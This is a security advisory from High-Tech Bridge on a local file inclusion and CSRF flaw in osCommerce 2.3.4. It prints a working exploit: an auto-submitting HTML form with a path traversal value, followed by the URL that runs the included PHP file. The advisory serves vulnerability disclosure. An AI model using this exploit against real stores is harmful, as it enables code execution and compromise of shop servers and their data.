osCommerce 2.3.4 Local File Inclusion / Cross Site Request Forgery

`Advisory ID: HTB23284  
Product: osCommerce  
Vendor: osCommerce  
Vulnerable Version(s): 2.3.4 and probably prior  
Tested Version: 2.3.4  
Advisory Publication: December 21, 2015 [without technical details]  
Vendor Notification: December 21, 2015   
Public Disclosure: February 17, 2016   
Vulnerability Type: PHP File Inclusion [CWE-98]  
Risk Level: Medium   
CVSSv3 Base Score: 5.8 [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L]  
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )   
  
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Advisory Details:  
  
High-Tech Bridge Security Research Lab discovered vulnerability in popular e-commerce software osCommerce with 280,000 store owners (according to the vendor). The vulnerability can be exploited to execute arbitrary PHP code on the remote system, compromise the vulnerable web application, its database and even the web server and related environment.   
  
Successful exploitation of the vulnerability requires attacker to access to administrative panel, however it can also be successfully exploited by remote non-authenticated attacker via CSRF vector to which the application is also vulnerable.   
  
The vulnerability exists due to insufficient filtration of "directory" HTTP POST parameter paassed to "/admin/languages.php" PHP script. A remote attacker can use path traversal sequences (e.g. "../../") to include and execute arbitrary PHP file from local server file system.   
  
A simple CSRF exploit below will update application database and insert "/tmp/file" value string into web application configuration:  
  
  
<form action="http://[HOST]/admin/languages.php?action=insert" method="post" name="main">  
<input type="hidden" name="name" value="vu">  
<input type="hidden" name="code" value="vu">  
<input type="hidden" name="image" value="icon.gif">  
<input type="hidden" name="directory" value="../../../../../../../../../../../tmp/file">  
<input type="hidden" name="sort_order" value="">  
<input value="submit" id="btn" type="submit" />  
</form><script>document.main.submit();</script>  
  
  
Then, in order to execute the PHP code from "/tmp/file" file, just open the following URL:   
http://[host]/index.php?language=vu  
  
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Solution:  
  
Disclosure timeline:  
2015-12-21 Vendor notified via emails, no reply.  
2016-01-06 Vendor notified via emails and forum, no reply.  
2016-01-13 Fix Requested via emails, no reply.  
2016-01-19 Fix Requested via emails, no reply.  
2016-02-17 Public disclosure.  
  
Currently we are not aware of any official solution for this vulnerability.  
  
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References:  
  
[1] High-Tech Bridge Advisory HTB23284 - https://www.htbridge.com/advisory/HTB23284 - RCE via CSRF in osCommerce  
[2] osCommerce - http://www.oscommerce.com/ - osCommerce Online Merchant is a complete self-hosted online store solution that contains both a catalog frontend and an administration tool backend which can be easily installed and configured through a web-based installation procedure.  
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.  
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.  
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.  
  
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.  
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